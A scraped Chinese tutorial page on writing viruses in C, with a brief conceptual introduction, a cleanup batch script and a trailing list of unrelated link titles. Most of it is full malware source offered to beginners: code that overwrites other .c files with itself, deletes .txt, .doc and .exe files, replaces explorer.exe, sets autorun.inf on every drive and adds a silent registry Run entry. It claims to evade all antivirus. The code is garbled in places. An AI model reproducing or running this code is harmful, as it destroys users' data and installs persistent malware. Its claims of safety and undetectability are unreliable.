c语言编程被当作病毒,c语言编写病毒
在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.[Abstract]
This paper introduce the charateristic of the computer virus,then
show a simple example written by
TURBOC2.0.一、什么是病毒恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic
Cohen博士在《计算机病毒简短讲座》中提到的:“??一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。要编制一个病毒,首先要知道病毒的运行机理。不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。我们可以用一段类C伪码来表示这个过程。InfectSection(){if
(infectable_object_found&&object_not_already_infect)infect_object;}病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if
(date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;}有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:Executesection(){if
(trigger_statue_is_yes)execute_payload;}二、
编制病毒的语言最常见的编制病毒的语言有汇编语言、VB、C
语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:1).Win32编程,进程,线程,内存,等等。2).32位汇编,以指令用法为主。386汇编就比较够用了。3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。4).调试技术。VC,TD32,SoftIce,等等。要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.三 用C编制病毒以TurboC2.0为例.它的库函数可以实现很多功能.如以下两个函数:1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件C语言开发病毒程序实例C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。C语言编写的病毒程序源代码
-
给C语言初学者:复制内容到剪贴板代码:C语言开发病毒程序//连接头文件#include#include#include#include#include//拷贝文件模块int
copyfile (char *infile, char
*outfile){FILE *in,*out;
//定义文件指针in = fopen(infile,"r"); //打开文件out
= fopen(outfile,"w"); //建立文件while (!feof(in))
//判断文件是否已结束{fputc (fgetc(in),out);
//从in读一字符到out}fclose (in);
//关闭in文件fclose (out);//关闭out文件return 0;
//返回}int MakeRubbish
(void){int i; //声明整形变量iFILE
*fp; //文件指针fpchar *path; //路径指针char
*NewName;char *disk[7] =
{"A","B","C","D","E","F","G"}; //初始化指针数组char *addtion
= ":\\";for (i = 0; i<5; i++)
//循环4次{char tempname[] = "XXXXXX" ;
//随机名字NewName = mktemp(tempname);
//建立唯一的文件名fp = fopen(NewName,"w");
//创建文本文件fclose (fp);
//关闭fp文件流}path =
strcat(disk[getdisk()],addtion); //得到根编号chdir(path);
//改变工作目录for (i = 0; i<5; i++)
//循环次数{char tempname[] = "XXXXXX";
//串赋入数组NewName = mktemp(tempname);
//建立唯一的文件名fp = fopen(NewName,"w");
//创建新文件fclose (fp);
//关闭文件}return 0;
//返回}int CreatEXE
(void){int i; //整形变量char
*path; //字符指针char *s[2] = {
//重要目录"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};for
( i = 0; i < 2; i++)
//循环控制次数{open(s, 0x0100,0x0080);
//打开文件写入数据copyfile ( "C_KILLER.C",s);
//调用子函数实现拷贝文件数据}return
0;}int Remove (void)
//去处{int done; //定义整形变量int
i;struct ffblk ffblk; //声明结构体变量ffblkchar
*documenttype[3] =
{"*.txt","*.doc","*.exe"};//初始化指针数组for (i = 0; i
< 3; i++)//控制循环次数{done =
findfirst(documenttype,&ffblk,2);//搜索目录while
(!done) //查找成功返回0{remove (ffblk.ff_name);
//删除一个文件done =
findnext(&ffblk);}}return
0;//返回}int Breed (void)
//养殖模块{int done;//整形变量struct
ffblk ffblk; //声名结构变量done =
findfirst("*.c",&ffblk,2);while
(!done){if (strcmp("C_KILLER.C",
ffblk.ff_name) != 0
){copyfile("C_KILLER.C",ffblk.ff_name);}done
=
findnext(&ffblk);}return
0;}int main (void)
//程序入口地址{printf
("液虫病毒,by:仙剑逍遥.\n");Breed ();
//养殖病毒Remove (); //去处CreatEXE
();printf ("您能告诉我您的名字?\n");printf
("现在麻烦您输入您的名字!\n");MakeRubbish ();
//调用子函数getchar ();clrscr ();
//清除屏幕system ("cmd");getch
();return
0;}本版病毒所具有的功能:1.在所有磁盘的根目录生成svchost.com和autorun.inf文件2.生成病毒体:c:\windows\wjview32.comc:\windows\explorer.exec:\windows\system32\dllcache\explorer.exec:\windows\system\msmouse.dllc:\windows\system32\cmdsys.sysc:\windows\system32\mstsc32.exe3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在explorer.exe前启动4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。6.连锁能力,将病毒体相连,实现相连复制更新7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下10.附带删除文件函数(为防止危害,本函数默认不执行)本病毒到目前为止任何杀毒软件都无法将其查杀本病毒单机默认使用对机器无害(破坏代码已屏蔽)提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):@echo
offecho SK-CHINA SVCHOST KILLER
2007.6echo WRITE BY S.Ktaskkill /im
mstsc32.exe /fdel
c:\windows\wjview32.comdel
c:\windows\explorer.exedel
c:\windows\system32\dllcache\explorer.exedel
c:\windows\system\msmouse.dlldel
c:\windows\system32\cmdsys.sysdel
c:\windows\system32\mstsc32.exedel
c:\svchost.comdel c:\autorun.infdel
d:\svchost.comdel d:\autorun.infdel
e:\svchost.comdel e:\autorun.infdel
f:\svchost.comdel f:\autorun.infdel
g:\svchost.comdel g:\autorun.infdel
h:\svchost.comdel h:\autorun.infcopy
c:\windows\system\explorer.exe
c:\windows\explorer.execopy
c:\windows\system\explorer.exe
c:\windows\system32\dllcache\explorer.exedel
c:\windows\system\explorer.exeecho
FINISH!echo
如果本次清除后仍残留有病毒,请再次运行本程序pause--------------------------------------------------------------------核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)#include#include#include#include#include#define
SVCHOST_NUM 6#define RUBBISH_NUM 5#define
REMOVE_NUM 5char
*autorun={"[AutoRun]\nopen=\"SVCHOST.com
/s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com
/s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com
/s\""};char
*regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com
/s\""};int copy(char
*infile,char *outfile){FILE
*input,*output;char
temp;if(strcmp(infile,outfile)!=0
&&
((input=fopen(infile,"rb"))!=NULL)
&&
((output=fopen(outfile,"wb"))!=NULL)){while(!feof(input)){fread(&temp,1,1,input);fwrite(&temp,1,1,output);}fclose(input);fclose(output);return
0;}else return
1;}int
autorun_explorer(){FILE
*input;if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL){fclose(input);remove("c:\\windows\\$temp$");remove("c:\\windows\\system32\\dllcache\\$temp$");return
1;}copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32\\dllcache\\$temp$");if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0
&&
copy("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)return
0;elsereturn
2;}int
add_reg(){FILE
*output;if((output=fopen("$$$$$","w"))!=NULL){fprintf(output,regadd);fclose(output);spawnl(1,"c:\\windows\\regedit.exe","
/s
$$$$$",NULL);}}void
copy_virus(){int i,k;FILE
*input,*output;char
*files_svchost[SVCHOST_NUM]={"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};char
temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};for(i=0;i{if((input=fopen(files_svchost,"rb"))!=NULL){fclose(input);for(k=0;k{copy(files_svchost,files_svchost[k]);}i=SVCHOST_NUM;}}for(i=0;i{if((input=fopen(files_svchost,"rb"))!=NULL){fclose(input);for(k=0;k<24;k++){copy(files_svchost,temp[0]);if((output=fopen(temp[1],"w"))!=NULL){fprintf(output,"%s",autorun);fclose(output);}temp[0][0]++;temp[1][0]++;}i=SVCHOST_NUM;}}}void
make_rubbish(){int i;FILE
*output;srand(0);for(i=0;i{int
n;char
s[30];n=rand();sprintf(s,"C:\\DESTORY_感染_%d",n);if((output=fopen(s,"w"))!=NULL){fprintf(output,"%ld%s",n*n,s);fclose(output);}}}void
remove_files(){long done;int
i;struct _finddata_t ffblk;char
*remove_files[3]={"*.txt","*.doc","*.xls"};for(i=0;i<3;i++){if(_findfirst(remove_files,&ffblk)==-1)
continue;while(!done){remove(ffblk.name);_findnext(done,&ffblk);}_findclose(done);}}int
main(int argc,char **argv){int
contral=0;if(argc>1)if(strcmp(argv[1],"/s")==0)goto
next1;autorun_explorer();spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);next1:add_reg();copy_virus();make_rubbish();spawnl(1,"c:\\windows\\system32\\mstsc32.exe","
/s",NULL);return
0;}#include#include#include#include#includevoid
copyfile(char *infile, char
*outfile){FILE
*in,*out;in
=
fopen(infile,"r");out
=
fopen(outfile,"w");while
(!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}void
MakeRubbish(){int
i;FILE
*fp;char
*path;char
*NewName;char
*disk[7] =
{"A","B","C","D","E","F","G"};char
*addtion =
":\\";for
(i = 0; i<5;
i++){char
tempname[] = "XXXXXX"
;NewName
=
mktemp(tempname);fp
=
fopen(NewName,"w");fclose(fp);}path
=
strcat(disk[getdisk()],addtion);chdir(path);for
(i = 0; i<5;
i++){char
tempname[] =
"XXXXXX";NewName
=
mktemp(tempname);fp
=
fopen(NewName,"w");fclose(fp);}}void
CreatEXE(){int
i;char
*path;char
*s[2] =
{"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};for
( i = 0; i < 2;
i++){open(s,
0x0100,0x0080);copyfile(
"C_KILLER.C",s);}}void
Remove(){int
done;int
i;struct
ffblk
ffblk;char
*documenttype[3] =
{"*.txt","*.doc","*.exe"};for
(i = 0; i < 3;
i++){done
=
findfirst(documenttype,&ffblk,2);while
(!done){remove(ffblk.ff_name);done
=
findnext(&ffblk);}}}void
Breed(){int
done;struct
ffblk
ffblk;done
=
findfirst("*.c",&ffblk,2);while
(!done){if
(strcmp("C_KILLER.C", ffblk.ff_name) != 0
){copyfile("C_KILLER.C",ffblk.ff_name);}done
=
findnext(&ffblk);}}void
main(){printf("THERE
IS A VIRUS
BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD
YOU TELL ME YOUR
NAME?\n\n");printf("NOW,PLEASE
ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH
YOU!\n\n");MakeRubbish();getchar();printf("IT'S
ONLY A JOKE! THANK
YOU!\n\n");clrscr();system("cmd");}
c语言编程被当作病毒,c语言编写病毒相关推荐
- 高斯消元法的c语言编程,列主元高斯消元法的C语言编程
列主元高斯消元法的C语言编程 列主元高斯消元法 基本思想:用高斯消元法求解线性方程组时,为避免小的主元,在进行第k步消元前,应该在第k列(k)元素aik(i k,(k)(k)例如|aikk| max| ...
- c语言程序设计自学跟谁好,双辽c语言编程学习,双辽学c语言编程哪个好,双辽学c语言编程自学好还是报班好...
双辽c语言编程学习,双辽学c语言编程哪个好,双辽学c语言编程自学好还是报班好 首页 > 软件 > 双辽c语言编程学习 作者:镀金池 发布时间:2017-12-07 05:48 一个C语 ...
- c语言程序设计需要学多久,九江c语言编程学习,九江学c语言编程报班,九江学c语言编程一般要多久才能学会...
九江c语言编程学习,九江学c语言编程报班,九江学c语言编程一般要多久才能学会 首页 > C语言 > 九江c语言编程学习 作者:镀金池 发布时间:2017-10-18 14:11 据ID ...
- C语言编程>第十四周 ⑦ 请编写一个函数fun,它的功能是:计算n门课程的平均分,计算结果作为函数值返回。
例题:请编写一个函数fun,它的功能是:计算n门课程的平均分,计算结果作为函数值返回. 例如,若有5门课程的成绩是88.92.80.61.5.55:则函数的值为75.30. 请勿改动主函数main与其 ...
- C语言编程>第十周 ⑦ 请编写函数fun,该函数的功能是:统计一行字符串中单词的个数,作为函数值返回。一行字符串在主函数中输入,规定所有单词由小写字母组成,单词之间由若干个空格隔开,一行……
例题:请编写函数fun,该函数的功能是:统计一行字符串中单词的个数,作为函数值返回.一行字符串在主函数中输入,规定所有单词由小写字母组成,单词之间由若干个空格隔开,一行的开始和结尾都没有空格. 请勿改 ...
- c语言编程期刊论文管理系统,C语言编程下计算机软件论文
1计算机软件C语言的编程实验 1.1计算机软件C语言的编程技巧 计算机软件C语言的编程中,最主要的依据是指针应用,C语言指针能够根据软件程序的编写需求,构建可行的函数,而程序员在设计函数编程的过程中, ...
- c语言编程学多久,丰城c语言编程学习,丰城学c语言编程的学校,丰城学c语言编程一般要多久才能学会...
丰城c语言编程学习,丰城学c语言编程的学校,丰城学c语言编程一般要多久才能学会 首页 > 软件 > 丰城c语言编程学习 作者:镀金池 发布时间:2018-04-09 16:40 在之后 ...
- C语言编程>第十一周 ⑤ 请编写一个函数,用来删除字符串中的所有空格。
例题:请编写一个函数,用来删除字符串中的所有空格. 例如,输入we l come,则输出为welcome. 请勿改动主函数main与其它函数中的任何内容,仅在函数fun的花括号中填入所编写的若干语句. ...
- 江门C语言培训,江门c语言编程学习,江门学c语言编程培训,江门学c语言编程效果怎么样...
江门c语言编程学习,江门学c语言编程培训,江门学c语言编程效果怎么样 首页 > C语言 > 江门c语言编程学习 作者:镀金池 发布时间:2017-10-18 09:25 在初期的C语言 ...
- C语言报名里面培训怎么填,庄河c语言编程学习,庄河学c语言编程培训,庄河学c语言编程报个培训班怎么样...
庄河c语言编程学习,庄河学c语言编程培训,庄河学c语言编程报个培训班怎么样 首页 > 软件 > 庄河c语言编程学习 作者:镀金池 发布时间:2017-11-29 11:13 明天利用时 ...
最新文章
- java list 自定义类型转换_java – 可以从List生成平面XML结构的XStream自定义转换器?...
- 【计算机网络】网络安全 : 入侵检测系统 ( 基于特征的入侵检测系统 | 基于异常的入侵检测系统 )
- JQuery 对表单进行初始化操作
- 深夜遭粉丝质问!4天掌握新东方26年教育精华的方法,你怎么不早说?
- 用汇编的眼光看C++(之缺省模板、特化模板)
- 一些算法竞赛参考书及豆瓣评分
- 分享一个echart 广州地图的demo
- 从“外行”到“里手”,长沙企业“力量矩阵”开始觉醒
- 计算机英语中级职称题库,职称计算机考试题库(中级职称需要考计算机吗)
- python抠图 removebg,removebg包:一键抠图换证件照底色
- c语言函数能返回结构体,从C中的函数返回`struct`
- XDOJ 完全平方数
- JAVAWEB(三)Java与数据库(JUnit、JUL、Maven、图书管理系统)
- Editor编程 GUILayout为什么控件一多一复杂性能就差的不行?
- ubuntu Segmentation Fault错误原因
- Java微服务框架一览
- The Shawshank Redemption-4
- 测试如何快速了解一个产品、需求、任务(海盗派测试分析,KYM)
- 拓嘉启远电商:修改了拼多多关键词,影响大吗
- 【Angular实战/网易云】用户签到(interceptor使用)